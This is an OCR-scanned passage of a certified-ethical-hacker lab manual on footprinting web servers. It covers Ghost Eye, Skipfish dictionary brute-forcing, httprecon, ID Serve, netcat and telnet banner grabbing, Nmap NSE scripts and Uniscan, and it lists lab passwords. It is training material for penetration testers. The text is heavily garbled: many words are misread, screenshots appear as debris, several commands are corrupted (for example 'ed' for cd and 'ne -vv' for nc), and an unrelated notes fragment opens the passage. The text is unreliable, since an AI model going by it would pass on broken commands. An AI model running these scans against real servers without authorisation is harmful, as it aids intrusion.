B. Basic Nmap scans
o Top ports and service detection:
nmap -sS -sV -T4 -p- --open 192.168.56.101
C. Start Metasploit
sudo systemctl start postgresql
msfdb init
msfconsole
D. Capture HTTP traffic via Burp

« Browser proxy: 127.0.0.1:8080, install Burp CA cert, intercept on.
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Hacking Web Servers

Hacking Web Servers

A web server 15 a computer system that stores, processes, and delivers web pages 1o
Yabal clients via HTTP protocol. A web server attack typically imolves preplanned
activities, called an attack methodology, which the attacker implements o reach their
Loal of breaching the tayet web senver’s secuily.

Lab Scenario

Most organizations consider their web presence to be an extension of themselves.
Organizations create their web presence on the World Wide Web using websites
assoctated with their business. Most online services are implemented as web
applications. Online banking, search engines, email applications, and social
networks are just a few examples of such web services. Web content is generated
in real-time by a software application running on the server-side. Web servers are
a critical component of web infrastructure. A single vulnerability in a web server’s
configuration may lead to a security breach on websites. This makes web server
security critical to the normal functioning of an organization.

Hackers attack web servers to steal credentials, passwords, and business
information. They do this using DoS, DDoS, DNS server hijacking, DNS
amplification, directory traversal, Man-in-the-Middle (MI'TM), sniffing, phishing,
website defacement, web server misconfiguration, HTTP response splitting, web
cache poisoning, SSH brute force, web server password cracking, and other
methods. Attackers can exploit a poorly configured web server with known
vulnerabilities to compromise the security of the web application. A leaky server
can harm an organization.

In the area of web security, despite strong encryption on the browser-server
channel, web users still have no assurance about what happens at the other end.
This module presents a security application that augments web servers with
trusted co-servers composed of high-assurance secure co-processors, configured
with a publicly known guardian program. Web users can then establish their
authenticated, encrypted channels with a trusted co-server, which can act as a
trusted third party in the browser-server interaction. Systems are constantly being
attacked, so I'T security professionals need to be aware of the common attacks
on web server applications.

A penetration (pen) tester or ethical hacker for an organization must provide
security to the company’s web server. This includes performing checks on the
web server for vulnerabilities, misconfigurations, unpatched security flaws, and
improper authentication with external systems.
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Lab Objectives

The objective of this lab 1s to perform web server hacking and other tasks that include,
but are not limuted to:
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*  [ootprint a web server using various information-gathering tools and
inbuilt commands

»  Enumerate web server information

»  Crack remote passwords

Lab Ervironment

To carry out thss lab, you need:
= Windows Scrver 2019 virtual machine
= \Windows Server 2016 virtual machine
»  Windows 10 virtual machine
»  Parrot Sccurity virtual machine
= \¥cb browsers wath an Internet connection

*  Administrator privileges to run the tools

Lab Duration

I''me: 75 Minutes

Overview of Web Server

Most people think a web server is just hardware, but a web server also includes
software applications. In gencral, a client initiates the communication process through
HTTP requests. When a client wants to access any resource such as web pages,
photos, or videos, then the client’s browser generates an ITTTP request to the web
server. Depending on the request, the web server collects the requested information
or content from data storage or the application servers and responds to the client’s
request with an appropriate FT'ITP response. 1€a web server cannot find the requested
information, then it generates an error message.

Lab Tasks

Ethical hackers or pen testers use numerous tools and techniques to hack a targer web
server. Recommended labs that will assist vou in learning various web server hacking
techniques include:
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Self-
Lab Exercise Name
et study**
1 | Footprint the Web Server v V V
1.1 Information Gathering using Ghost |
SR v v

Eve

1.2 Perform Web Server Reconnaissance

using Skipfish
1.3 Footprint a Web Server using the N \
httprecon Tool
1.4 Footprint a Web Server using ID Serve V Vv
1.5 Footprint 2 Web Server using Netcat | |
¢ v \

and Telnet

1.6 Enumerate Web Server Information
using Nmap Scripting Engine (NSE)

1.7 Uniscan Web Server Fingerprinting in J J

Parrot Security
2 Perform a Web Server Attack Vv V
2.1 Crack FTP Credenuals using a v \

Dictionary Attack

Remark

LC-Council has prepared a considered amount of lab exercises for student to practuce during the 3-day class
and at their free ume to enhance therr knowledge and skill.

*Core - Lab exercise(s) marked under Core are recommended by EC-Council to be practised during the
5-day class.

**Self-study - Lab exercise(s) marked under self-study s for students to pracuse at therr free ume. Steps to
access the additional lab exercises can be found in the first page of CEHvI volume 1 book.

***kiLabs - Lab exercise(s) marked under 1labs are available in our il.abs solution. ilabs 1s a cloud-based
virtual lab environment preconfigured wath vulnerabilies, explouts, tools and scripts, and can be accessed
from anywhere with an Internet connection. If you are interested to learn more about our 1l.abs solution,
please contact your training center or visit htrps://ilabs.cccouncil.org.

Lab Analysis

Analyze and document the results related to this lab exercise. Give your opinion on
your target’s security posture.
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Lab

Footprint the Web Server

Footprinting the web server refers to the process of gathering as nimch) information as
possible about the targel web server by using various tools and technigues.
[ ] -
Lab Scenaro
‘The first step of hacking web servers for a professional ethical hacker or pen tester is
- to collect as much information as possible about the target web server and analyze
the collected information in order to find lapses in its current security
- mechanisms. “The main purpose s to leam about the web server’s remote access
capabilitics, 1ts ports and services, and other aspects of 1ts secunty.

‘The information obtained in this step helps in assessing the security posture of
the web server. Footprinting may 1avolve searching the Internet, newsgroups,
bulletin boards, cte. for gathering information about the target organization’s web
server. ‘There are also tols such as Whois.net and Whaois Lookup that extract
informanon such as the target’s domain name, 1P address, and autonomous
system number.

Web server fingerprinting is an essential task for any penctration tester. Before
proceeding to hack or exploit a webserver, the penetration tester must know the
type and version of the webserver as most of the attacks and exploits are specific
to the type and version of the server being used by the target. These methods
help any penetration tester to gain information and analyze their target so that
they can perform a thorough test and can deploy appropriate methods to minigate
such attacks on the server.

An cthical hacker or penetration tester must perform footprinting to detect the
loopholes n the web senver of the target organizaton. This will help in predicting the
cffeccuveness ot addinonal sccurity measures for strengthening and protecung theweb
server of the target organizaton,

‘The labs n this exercise demonstrate how to footprnt a web server using vanous
footprinung tols and techniques.
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Lab Objectives
= Informanon gathering using Ghost Eye
= Perform web server reconnaissance using Skipfish
=  [Footpnnt a web server using the htiprecon “Tool
=  Footprint a web server using ID Serve
=  Footpnnt a web server using Netcat and Telnet
= Enumecrate web server information using Nmap Scnpung Fngine (NSL)

= Uniscan web server fingerprining in Parrot Security

Lab Environment

To carry ourt this lab, you nced:
=  \Windows 10 virtual machine
=  Windows Server 2016 virtual machine
= Windows Server 2019 virtual machine
= Parrot Secunty virtual machine
= Wb browsers with an Internet connection
= Administrator privileges to run the tools

= httprccon located tO0 EACEH-Tools\CEHv11 Module 13 Hacking Web
Servers\Web Server Footprinting Tools\httprecon

= [ Serve located to E:\CEH-Tools\CEHv11 Module 13 Hacking Web
Servers\Web Server Footprinting Tools\ID Serve

®*  You can also download the latest version of the above-mentioned tools
from their official websites. If vou decide to download the latest version,
the screenshots shown in this lab manual mighe differ from the image
that you sce on your screen.

Lab Duration

Time: 65 Minutes

Overview of Web Server Footprinting

By performing web server footprinting, it is possible to gather valuable system-
level data such as account details, OS, sottware versions, server names, and
database schema details. Use Telnet utility to footprint a web server and gather
information such as server name, server type, OSes, and applications running.
Use footprinting tools such as Nercraft, 1[I Serve, and hitprecon to perform weh
server footprinting. Web server footprinting tools such as Netcraft, [D Serve,
and httprecon can extract information from the target server. Let us look at the
features and the types of information these tools can collect from the target
server.
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Lab Tasks

Information Gathering using Ghost Eye

1. Turn on Parrot Security virtual machine.

2. In the login page, the attacker username will be sclected by default.
Finter password as toor in the Password ficld and press Enter to log in
to the machine.

attacker
‘. LA N .I
Figure 1.1.1: Pasrot Secunty Logn
Note:

* If a Parrot Updater pop-up appears at the top-right corner of
Desktop, ignore and close it.

* [f a Question pop-up window appears asking you to update the
machine, click No to close the window.

3. Click the MATE Terminal icon from the menu bar to launch the terminal.

Figure 1.1.2: Launching the MATE Temuinal

4. A Parrot Terminal window appears. In the terminal window, type sudo su
and press Enter to run the programs as a root user.

5. In the [sudo] password for attacker ficld, type toor as a password and
press Enter.

Note: The password that you type will not be visible.
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6. Now, type ed and press Enter to jump to the root directory.

Figure 1.1.3: Runming the programs as a root user

7. Now, mnstall Ghost Eye. To do this, in the terminal window, type git clone
https/github.com/BullsEye0/ghost_eye.git and press Enter.

8. This will mnstall Ghost Eye in your virtual machine, as shown in the
screenshot.

Figure 1.1.4: Closung Ghost Eve

Note: You can also access the tool repository from the CEH-Tools folder
available in Windows 10 virtual machine, in case, the Gitlub link does not exist,
or you are unable to clone the tool repository. Follow the steps below in order to
access CEH-Tools folder from the Parrot Security virtual machine:

*  Open a windows explorer and press Ctri+L. The Location ficld appears;
type smbx//10.10.10.10 and press Enter to access Windows 10 shared
folders.

The security pop-up appears; enter the Windows 10 virtual machine
credentials (Username: Admin and Password: Pa$$wOrd) and click
Connect.

* The Windows shares on 10.10.10.10 window appears; navigate to the
location CEH-Tools/CEHv11 Module 13 Hacking Web Servers/GitHub
Tools/ and copy the ghost_eye folder.

* Paste the copied ghost_eye folder on the location /home/attacker!.

* In the terminal window, type mv /homel/attacker/ghost_eye /root/.
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9. Now, navigate to the Ghost Eye directory. ‘1ype ed ghost_eye and press

Enter.

Fyrure 1.1.5: Ghost Eye Directony

10. In the terminal window, tvpe pip3 install -r requirements.txt and press
Enter.

Fgure 1.1.7: } aunchonge Ghod Eye

12. The Ghost Eye - Informaton Gathering ‘Tool options appear, as shown in
the screenshot.

13. Let us perform a Whaos Lookup. Tvpe 1 for the Enter your choice: option
and press Enter.
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14. Type certifiedhacker.com in the Enter Domain or IP Address: ficld and

press Enter.

Figure 1.1.8: Pertormng Whaos Lookup

15. Scroll up to see the certifiedhacker.com result. In the result, observe the
complete information of the certifiedhacker.com domain such as Domain
Name, Registry Domain 1D, Registrar WHOIS Server, Registrar URL, and

Updated Date.
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16. Let us perform a DNS Lookup on certifiedhacker.com. In the Enter your
choice ficld, type 2 and press Enter to perform DNS Lookup.

17. The Enter Domain or IP Address ficld appears; type certifiedhacker.com,
and press Enter.

Note: The results might differ in your lab environment.

18. As soon as you hit Enter, Ghost Eye starts performing a DNS Lookup on
the targeted domain (here, certifiedhacker.com).

19. Scroll up to view the DNS Lookup result.
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20. Now, pertorm the Clickjacking Test. ['yvpe 6 in the Enter your choice ficld
and press Enter.

21. In the Enter the Domain to test ficld, type certifiedhacker.com and press
Enter.

Fqune 1112 Perfonming Chekiacking test

22. By performing this test, Ghost Eyve will provide the complete architecture of
the web server, and also reveal whether the domain s vulnerable w
Clickjacking attacks or not.
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23. Simularly, you can use the other tools available with Ghost Eye such as Nmap
port scan, HII'P header grabber, link grabber, and Robots.txt scanner to
gather information about the target web server.

24. "This concludes the demonstration of how to gather informanon about a
target web server using Ghost Eve.

25. Close all open windows on the Parrot Security virtual machine.

Perform Web Server Reconnaissance using Skipfish

Note: Ensure that the Parrot Security virtual machine is running.

1. Turn on the Windows Server 2016 virtual machine and log in with the
credentials Administrator and Pa$SwOrd.

to

Double-click the WAMP Server shortcut icon from Desktop to start
WAMD Server services. Alternatively, you can also launch the WAMDP
Server services from the Start menu apps

Figure 1.2.1: Starting WampSenver

3. Wait untl the WAMDP Server icon turns Green in the Notification arca.
Leave the Windows Server 2016 virtual machine running.

(7]

Wampserve

4. Switch to the Parrot Security virtual machine and launch MATE
Terminal from the menu bar.

5. A Parrot Terminal window appears. In the terminal window, type sudo su
and press Enter to run the programs as a root user.

6. In the [sudo) password for attacker ficld, type toor as a password and
press Enter.

Note: The password that you type will not be visible.

7. Now, type ed and press Enter to jump to the root directory.
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8. Now, perform sccurity reconnaissance on a web server using Skipfish.
The rarget 1s the WordPress website http://[[IP Address of Windows
Server 2016}

9. Speaity the output directory and load a dictionary file based on the web
server’s requirement. In this lab, we are naming the output directory test.

10. In the termmal window, type skipfish -o /root/test -S
lusrishare/skipfish/dictionaries/
complete.wl http://[IP Address of Windows Server 2016):8080 and

press Enter.

Note: The IP address may vary in your lab environment.

Fagure 1.2.3: Imtiatung the scan

11. On receving this command, Skipfish performs a heavy brute-force
attack on the web server by using the complete.wl dictionary file,
creates a directory named test in the root location, and stores the result
in index.html mside this location.

12. Before begmning a scan, Skipfish displays some tips. Press Enter to start
the security reconnaissance.

wWelcome to skipfish. Here are some useful tips:

1) To abort the scan at any time, press . A partial report will be written
to the specified location. To view a list of currently scanned URLS, you can
press at any time during the scan.

2) Watch the number requests per second shown on the main screen. If this figure
drops below 108-200, the scan will likely take a very long time.

The scanner does not auto-limit the scope of the scan; on complex sites, you
may need to specify locations to exclude, or limit brute-force steps.

4) There are several new releases of the scanner every month. If you run into
trouble, check for a newer version first, let the author know next.

More info: http://code.google.com/p/skipfish/wiki/KnownIssues

241435
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3. Skipfish scans the web server, as shown in the

Search’ Terminal Help
:00:41.496/s),
:00:41.539/s),
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screenshot.

(1112,
(1115.
(1126.2
(1124.
(1128.
(1132.7 kB/s)
(1137.4 kB/s)
0 drops © val
0 drops 0 val
par, 0 val
par, 6 val
par, val
2 par val
? par val
par val
par val
par, val
2 par val
12 par, 0 val
12 par, 0 val
impactates
candidates

kB/s)
kB/s)
kB/s)
kB/s)
kB/s)

out
out
out
out
out
out
out

Lor B B < I <> B B <> B e~ Bl <> B Q<]

<]

256

Fiygure | 2.5: \'L‘r!\!‘u;h scannming the web server

14. Note that Skipfish takes some tme (approximately 20 minutes)

complete its scan.

Note: You can press Ctrd+C to terminate the scan

Parrot Terminal

View Search Temminal Help

0 pending, O 1nit, O attacks, 11 dict
: spotted

2 serv, 21 dir, 276 file,

857 total, 846 done

0 pending, © init,

10 spotted

2 serv, 21 dir, 276 file, 2 pinfo, 5

62 info, © warn, 517 low, © medium,

2431 words (216 new), 116 extensions,

77 total

2 pinfo,
(98.72%)

© attacks, 11 dict

+] Copying static resources...
| Sorting and annotating cranl nodes:

857
duplicate entries: 857

Counting unique nodes: 140

] Saving pivot data for third-party tools...
] Writing scan description...

| Writing crawl tree:

+]

'Y I

857
Generating summary views

Report saved to '/root/te: gex.
Ihis was a great day for sczcnce'

Fuaure 1.2.6: Completion af the scan

5 unkn
um, © h;gh

unkn
0 high
25b candidates

if it 1s taking longer.

candidates

39 par, 513 val
impact

candidates

39 par, 513 val
impact
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15. On completion of the scan, Skipfish generates a report and stores 1t in
the test directory (in the root location). Navigate to location, right-click
index.html, hover vour mouse cursor on Open With, and click Firefox to
view the scan result.

Note: 'T'o navigate to the reot dircctory, click Places from the top-section of
the Desktop and click Home Folder from the drop-down options. In the
attacker window, click File System from the left-pane and navigate to the
location root.

Figure 1.2.7: Viewing the scan result

16. The Skipfish crawl result appears in the web browser, displaying a
summary overview of document and issue tvpes found, as shown in the
screenshot.

Note: The scan result might vary in vour lab environment.

{ X}
S BN - SCANrES I NG

c @

Cravil results - click to expand:

0 ¢ he010.1018 ®: G

2V [C

g 4 hty o036 B0V @F O1% @én =247

Vra tne -

Document type oveiview - click to expand:

i appication Lway
ag picationfavaacript
apiealionbdv o xml

¥ plcalionsy

I_ wag eige

Fgove 1 2.6: Fxaminiog the scan real:
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17. Expand each node to view detailed information regarding the result.

18. Analyze an 1ssue found in the web server. To do this, click a node under
the Issue type overview scction to expand it.

19. Analyze the SQL query or similar syntax in parameters issuc.

imagelx-ms-bmp .

o) texticss

[% textplain

Issue type overview - click to expand:

@ SQL query or similar syntax in parameters . I
) Signature match detected

£ HTML form with no apparent XSRF protection
& Numerical file - id ting &
& Incorrect or missing charset (low risk) .2

L Generic MIME used (low risk) 1,
& HTML form (not classified otherwise) -

& Unknown form field (can't autocomplete)

& Hidden files | directories -

&' Directory listing enabled -

& Resource not directly accessible .
- New 404 signature seen +
& New 'X-* { ] (4)

Figure 1.2.9: Exanuning the scan result

20. Observe the URL of the webpage associated with the vulnerability. Click
the URL..

Image/x-ms-bmp .

< textcss

C textplain (o
Issue type overview - click to expand:
@ SQL query or similar syntax in parameters .

L. hitp/10.10.10.16:8080/dd_vhast ph

a S show race «

Mhow Nace -

) Signature match detected
£2 HTML form with no apparent XSRF protection
o N ical ik A iy XN
& Incorrect or missing charset (low risk) 11
Genoric MIME used (low risk) |

HTML torm (not classified otherwise) -
Unknown form field (can’t autocomplete)
Hidden files / directories -

Directory listing enabled =

di S Tl

not Y

New 404 signature seen

New ‘X-* header value seen :
New "Server’ header value seen
ot New HTTP cookie added (1)

CO0CQO0OCOCC

Figure 1.2.10: Examining the scan result
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21. The webpage appears, as shown in the screenshot.

Add a VirtualHost - Back to homepage

VitualHost areacy dafined

Sevveriaune ¢ localhost 85610 - Direciory | C/vmmpltiavw
WLMOOWS 7 SyS eI 2/ 0

Windows hosts |

N o tro QETESEEE o spsce - o wrosccee.) R

Complete abschze BEEE of the Venatio: SEIEER £amples Crnampiawadgeopd/ or & wawscel/ [RESSIEES)

1T YOX WANE 10 L0 A& “LISION POrT” CARer Than the Gofaut one, you must A & Liden Port to Apache by Rigte-Osck Tooss EEEREE

D you wart 10 use Vit by 1 REINER 127 < v - (EEERE

| — A

Figure 1.2.11: Examung the scan result

22. The PHP version webpage appears, displaying details related to the
machine, as well as the other resources associated with the web server
infrastructure and PHP configuration.

23. Click show trace next to the URL to examine the vulnerability in detail.

)

Skipfish - scan results bro

< c @

.« imagelx-ms-bmp 2

text/css (4

3

text/plain (¢

‘s

Issue type overview - click to expand:

© SQL query or similar syntax in parameters (2;

1. http://10.10.10.16:8080/add_vhost php{[srewace - ]
2. htip://10.10.10.16:8080/add_vhost | show trace +

) Signature match detected (@

€2 HTML form with no apparent XSRF protection (3
& Numerical filename - consider enumerating (2,

& Incorrect or missing charset (low risk) (11

) Generic MIME used (low risk) 1)

& HTML form (not classified otherwise) (2,

' Unknown form field (can't autocomplete) )

Figure 1.2.12: Examining the HTTP trace
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24, An H'TTP trace window appears on the webpage, displaying the complete
HTML session, as shown in the screenshot.

HTTP tace - cick the b of 12 ESC b clse ]

Figure 1213 Examiming the P 1race

Note: If the window does not properly appear, hold down the Ctrl key and
click the link.

25. Examine other vulnerabilines and patch them to secure the web server.

26. 'T'his concludes the demonstration of how to gather informmation about a
target web server using Skipfish.

27. Close all open windows on both the Parrot Security and Windows
Server 2016 virtual machines and turn oft the machines.

Footprint a Web Server using the httprecon Tool

Here, we will use the httprecon tool to gather informaton about a target web
Server.

1. Turn on the Windows 10 and log in with the credentials Admin and
Pa$SwOrd.

o

n.\"m'igatc to E\CEH-Tools\CEHv11 Module 13 Hacking Web
Servers\Web Server Footprinting Tools\httprecon, right-click
httprecon.exe, and, from the context menu, click Run as
administrator double-click to launch the application.

Note: If a User Account Control pop-up appears, click Yes.
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3. The main window of httprecon appcars, as shown in the screenshot.

| 1
B httprecon 7.3 - a X

File Configuration Fingerprinting Reporting Help
T argat |
UTmp:// 'I |{in : Ig] G _ Analyze |

—

GET exsting IGET fong tequesl| GET mn-e;dsl'ngl GET wiong protocol | HEAD exisl'ng' OPTION ¢ | »

Full Matchlist | Fingerprint Detads | Repoit Preview |

Name | Hits | Match %

ﬁcady_ 4

Figure 1.3.1: hitprecon man window
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4. Enter the website URL (here, www.certifiedhacker.com) that you want
to footprint and sclect port number (80) in the Target section.
5. Click Anatyze to start analyzing the designated website.

6. A footprint of the website appears, as shown in the screenshort.

. httprecon 7.3 - http://www.certifiedhacker.com:80/ - 0 X
File Configuration Fingerprinting Reporting Help

Taiget [Apache 2 0.46)

s/ 3 [www.certifiedhacker. com [ [80 Analyat

GET existing | GET long requesl | GET non-existing | GET wiong ptotacoll HEAD existing | 0PTION__‘__L:_

Matchlist {352 Implementations) ‘ Fingerprint Details | Report Pfeviewl

Name | Hits | Mateh %] A
\ Apache 2.0.46 0 100
N\ Apache 20,54 89 98.88...
\ Apache 228 88 972.77...
N\ Apache 223 83 92.77...
\ Apache 222 87 96.66...
\ Apache 226 86 9555..
N\ Apache 2.0.52 84 9333. 'y
Kl PR~ o PO

El eady,

liguee 1.3.2: The footpant results of the entered website
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7. Look at the Get existing tab, and observe the server (Apache) and the
server-side applicanon (ASP.NET) used to develop the webpages.

8. When attackers obtain this informanon, they rescarch the vulnerabihities
present in ASP.NET and Apache and try to explont them, which results in
cither full or partial control over the web applicauon.

9. Click the GET long request tab, which lists all GIZT requests. Next, click
the Fingerprint Details tab.
[l httprecon 7.3 - http://www.certifiedhacker.com:80/ — 0O X
File Configuration Fingerprinting Reporting Help
Target [Apache 2.0.46)

Ihup / L] | www. certitiedhackes.com 3[80 j &l

Matchlist (352 Implementations) | Fir

ieader Spaces
Capital after Dash

Figuea 1.5.3: The fngerpunt and GET lony request result of the entered website

10. The details displayed 1n the screenshot above include the name of the
protocol the website 1s using and its version.

11. By obtaining this information, attackers can mamipulate 11T vulnerabilities
in order to perform malicious activities such as swiffing over the HTTP
channcl, which might result in revealing sensitive data such as user credentials.,

12. "This concludes the demonstration of how to gather information about the
target web server using httprecon.

13. Close all open windows on the Windows 10 virtual machine.
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Footprint a Web Server using ID Serve

E TASK 4

Pen testers must be familiar with banner grabbing techniques to monitor servers
and ensure compliance and appropriate security updates. This technique also
helps in locating rogue servers or determining the role of servers within a
network. This lab manual helps understand and learn the banner grabbing
technique using 1D Serve, which allows an attacker to determine a remote target
system.

Note: Ensure that the Windows 10 virtual machine 1s running.

B waae-a. 1. On the Windows 10 virtual machine, navigate to EACEH-Tools\CEHv11
Module 13 Hacking Web Servers\Web Server Footprinting Tools\ID Serve
Launch and double-click idserve.exe.
ID Server

2. The main window of ID Serve appears. Click the Server Query tab.

F7 1D Serve is a simple
Internet server
wenafication utihity. e
Following is a hst of ity

Beckgrownd
capabilities: E

® HTTP server (1\.' Enter or copy / paste an Intemet server URL or IP addiess here (example: wwaw.microsoft.com) :

idenuofication ﬂ

| When an Intemet URL or IP has been provided above,
@"l Quety The Server | - press this button to inliate a quety of the specified server.

* Noo-HTTP server P
identfication

* Reverse DNS
lookup.

(\ Setver quary processing
)

The setver identified tself as :
@

Goto ID Serve web page

Figure 1.4.1: Welcome sereen of 1D Serve

3. For option 1, in the Enter or copy/paste an Internet server URL or IP
address scction, enter the URL (http:/iwww.certifiedhacker.com) you
want to footprint.

4. Click Query the Server to start querying the website.

o

After the completion of the query, ID Serve displays the results of the
entered website, as shown in the screenshot.
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o

@

@

(4\9‘

Entet or copy / paste an Inteinet saiver URL or IP addiess here (exampla: wwaw.miciosolt. com) :

IO Serve - x J
,.IntemetSewer ldenuﬁeauon Uumy vi nz e \.
I D S e rve -_.‘_'_Persona! Secumy Freewwe bYStGW Glbson_- J._..._
._'_.-Cowmlel 2(!)3 byl‘bton Rméh CO(p. VPRl \_J
Background Server Queuy | 08A/Help e e

|http://www.certifiedhacker.com |

Query The Sever

I P When an [ntemet URL or IP has been provided above,
prass this button to mitiate a quety of the spacified seiver.

Server quety processing :

Vary. Accept-Encoding
Content-Encoding. gzip
Content-Length: 3228
Content-Type. texyhtm|
Ouery complete.

The server identified iself as :

pache

Copy

Goto ID Ses veweb page Exit

Figure 1.4.2: 1D Serve detecung the footprnt

Note: The result might vary in your lab environment.

6.

After obtaiming this information, the attacker may perform a vulnerabihity
analysis on that parucular version of the web server and implement
various techniques to perform explortation.

Click Exit to close the application. Close all open windows and turn off
the Windows 10 virtual machine.

Footprint a Wcb Scrvcr using Netcat and ‘I'cinct

1. Turn on the Parrot Security and Windows Server 2019 virtual
machincs.

2. In the login page, the attacker uscrname will be sclected by default
Linter password as toor 1n the Password ticld and press Enter to log in

to

Note:

Pg.127

the machine.

If 1 Pamrot Updater pop-ip appears at the top-night comer of
Desktop, iznorce and close it

Il 4 Question pop-up window appears asking you o update the
machinc, click No to closc the window.
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3. Click the MATE Terminal icon from the menu bar to launch the terminal.

@) Applications Places System :)).;(}!;2

Parrot

Figure 1.5.1: Launching MATE termunal

4. A Parrot Terminal window appears. In the terminal window, type sudo su
and press Enter to run the programs as a root user.

5. In the [sudo] password for attacker ficld, type toor as a password and
press Enter.

Note: The password that you type will not be visible.
6. Now, type ed and press Enter to jump to the root directory.

ot Terminal

Figure 1.5.2: Running the programs as a root uscr

7. In the terminal window, type ne -vv www.moviescope.com 80 and press
Enter.

AN A 0t
@parrot

Figure 1.5.3: Perform Banner Grabbing using Neteat

8. Once you hit Enter, the netcat will display the hosting information of the
provided domain, as shown in the screenshot.

9. Now, type GET / HTTP/1.0 and press Enter twice.

10. Netcat will perform the banner grabbing and gather information such as
content type, last modified date, accept ranges, ETag, and server
information.
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I1. In the terminal windows, tvpe clear and press Enter to clear the netcat
result in the erminal window.

@parrot

- W\

Erasc 5.2

Footprint using
Telnet

Telnet- alnet iy 2
clicre-server nervark
BaET el It i widedy usel
on L Inermes e LA NS,
It pewices the lepn
sowadeon fona useren dw
lecanwt. The \'ingl('
cemvaral wttached w
another cemputer

emulates with “lelnet.

The pamary socunity
problemx wath Telnet are
the following

= [t does not encapt
any data sent
through the
connection.

" Jtlacksan
authenticason
scheme.

Telnet helps users
pectorm banner-grabbing
artacks. It probes H'UTP
servery t© determune the
Server tickl in the TP
tesponse heacler.
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Figure 1.5.4: Neteat Banner Grabbing result

12. Now, perionn banner grabbing using telnct. In the wrminzl window, grpe
teinet www.mavlescope.com 80 wxi prcss Enter.

Figaure 1.2.5: Perform Banner Grabbing using “Telnet
13. T'clnct will connect to the domain, as showrn: in the screenshot.

14. Now, type BET / HTTP/1.0 and press Enter twice. Telnet will perfonn the
banner grabbing and gather informaton such as content type, last modifred
date, accept ranges, Iy, and server infonmaton.

Figure 1.5.6: Telnet Banner Grabbing result
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Module 13 - Hacking Web Servers

15. This concludes the demonstration of how to gather information about the
target web server using the Netcat and Telnet utlities.

16. Close the terminal window on the Parrot Security virtual machine.

Enumerate Web Server Information using Nmap Scripting
Engine (NSE)

777 Nimap, along with
Nmap Scapung Engine,
can extract a lot of
valuable informanon from
the target web server. In
addition to Nmap
commands, Nmap
Senpung Fngmne (NSE)
provides scrpts that reveal
vanous useful information
about the target web
server to an attacker.

Hrask 6.1

Enumerate Web
Server using
Nmap

= 'The web applications
that are available on the
Internet may have
vulnerabilities. Some
hackers” attack strategies
may need the
Admintstrator role on
your server, but
sometimes they simply

Note: Ensure that the Parrot Security and Windows Server 2019 virtual
machines are running.

1. On the Parrot Security virtual machine, click the MATE Terminal icon
from the menu bar to launch the terminal.

N

laces System ’-)). a

Figure 1.6.1: Launch MATE termunal

)

A Parrot Terminal window appears. In the terminal window, type sudo su
and press Enter to run the programs as a root user.

3. In the [sudo] password for attacker ficld, type toor as a password and
press Enter.

Note: The password that you type will not be visible.
4. Now, type ed and press Enter to jump to the root directory

5. Enumerate the directories used by web servers and web applications, in
the terminal window. Typc nmap -sV —script=http-enum <target
website> and press Enter.

6. In this scan, we are enumeraung the www.goodshopping.com website.

Figure 1.6.2: HTTP-Enum on target host

need sensitive mformation
about the server. Utilizing
Nmap and http-enum.nse
content returns a diagram
of those applications,
registaes, and records
uncovered. This way, it 1s
possible to check for
vulnerabilities or abuses in
databases.
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haough this 7. This script enumerates and provides you with the output details, as shown

technigue, itis possible to in the screenshot.

ciscover genune (and

extremely dumb) sccurty [ Parrot Terminal
imperfections on i site
such as some sites (ke
Word Press and
PrestaShop) that mantain
accessthiliiy 10 envelopes

File Edit View Search Terminal Help

that ought to b erased
once the sk has been
settled. Onee you have
identitied a vulnesabiliy,
you can discover a fis for
i,

Iypeee 1.6.3: 1HTTEP-Enum an taeget host resule
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8. The next step 1s to discover the hostnames that resolve the targeted
domain.
9. In the terminal window, type nmap —script hostmap-bfk -script-args

hostmap-bfk.prefix=hostmap- www.goodshopping.com and press
Enter.

Figure 1.6.4: Host Map on target host

10. Perform an H'TTP trace on the targeted domain. In the terminal window,
typc nmap --script http-trace -d www.goodshopping.com and press
Enter.

11. This script will detect a vulnerable server that uses the TRACE method
by sending an H'T'TP TRACE request that shows if the method 1s enabled
or not.
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o N

File. Edit View Search Terminal

Frgure 1.6.5: Hose Map on tagret host aesult

12. Now, check whether Web Application Firewall 1s configured on the target
host or domain. In the terminal window, type nmap -p80 —script http-
waf-detect www.goodshopping.com and press Enter.

13. This command will scan the host and attempt to determine whether a
web server is being monitored by an TIPS, 1DS, or WAFE.

14. "This command will probe the target host with malicious pavloads and
detect the changes in the response code.

Figuee 1.6.6: WAL Daection on target host result
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15. This concludes the demonstration of how to enumerate web server
nformanon using the Nmap Scripting Engine (NSE).

16. Close the terminal windows on the Parrot Security virtual machine.

17. T'urn off the Windows Server 2019 virtual machine.

2 Task 7 Uniscan Web Server Fingerprinting in Parrot Security

Note: Ensure that the Parrot Security virtual machine 1s running.

1. "Turn on the Windows Server 2016 virtual machine and log in with the
credennials Administrator and pa$$word.

Hrask 7.1

Start WampServer 2. Start \\":\._\IPScr\'cr on the Windows Server 2016 virtual machine.
in Windows Double-click the WAMPServer shortcut icon on Desktop to start the
Server 2016 service.

3. Wait untl the WAMDPServer icon turns green in the notufication area, as
shown in the screenshot.

4. lLcave the Windows Server 2016 virtual machine running and switch o
the Parrot Security virtual machine.

Figure 1.7.1: Windows Server 2016 WAMP Server

5. Now, on the Parrot Security virtual machine, click the MATE Terminal
icon from the menu bar to launch the terminal.

6. A Parrot Terminal window appcars. In the terminal window, type sudo su
and press Enter to run the programs as a root user.

7. In the [sudo] password for attacker ficld, tvpe toor as a password and
press Enter.

Note: The password that you type will not be visible.

8. Now, type ed and press Enter to jump to the root directory

— 9. In the terminal window, type uniscan -h and hit Enter to display the

=) ; :
mIASN 7.2 uniscan help opnons.

Viswrtintocan 10. The help menu appears, as shown in the screenshot. First, use the -q

i ) . N
Help Options command to scarch for the directornes of the web server.
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IPTIONS:

e 1.2.2 Umicin hekyeommond

Myask 7.3

Perform
Directory Scan

Pg.136

[ In the werminal window, type uniscan -u http:/10.10.10,16:8080/CEH -
q and hit Enter to start scanning for directories.

12 Tere, 10.10,10.16 18 the 1P address of the Windows Server 2016 virtual
machine. This may vary in your lab environment.

[3. In the above command, the -u switch 1s used to provide the arget URT,
and the -q switch is used to scan che directories i the web senver.

Parrot Terminal

Terminal Help

@parrot
Funiscan

[*guare 1.7.3: Run unisean with - commard
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14, hiscan starts performin  gdifferent tests on the v eb esver and
discov ring web directories, a sho  min the screenshot.

ble: . Soll to analyze: the compler output of th. ecan. It _hould rake
approximat lg 1 thinut sefor th. ecan to fimsh.

Figure 1.7.4: Uniscan showing found directones

Becwi u 15, &% run uniscan usin 7 go-options together. [ lere -w and -8 are used
together to enable th + file check (robots.txtand sitemap.xml file). In th - ¢
terminal window type uniscan -u http://10.10.10.16:8080/CEH -we and
hit Enter to “tar the scan.

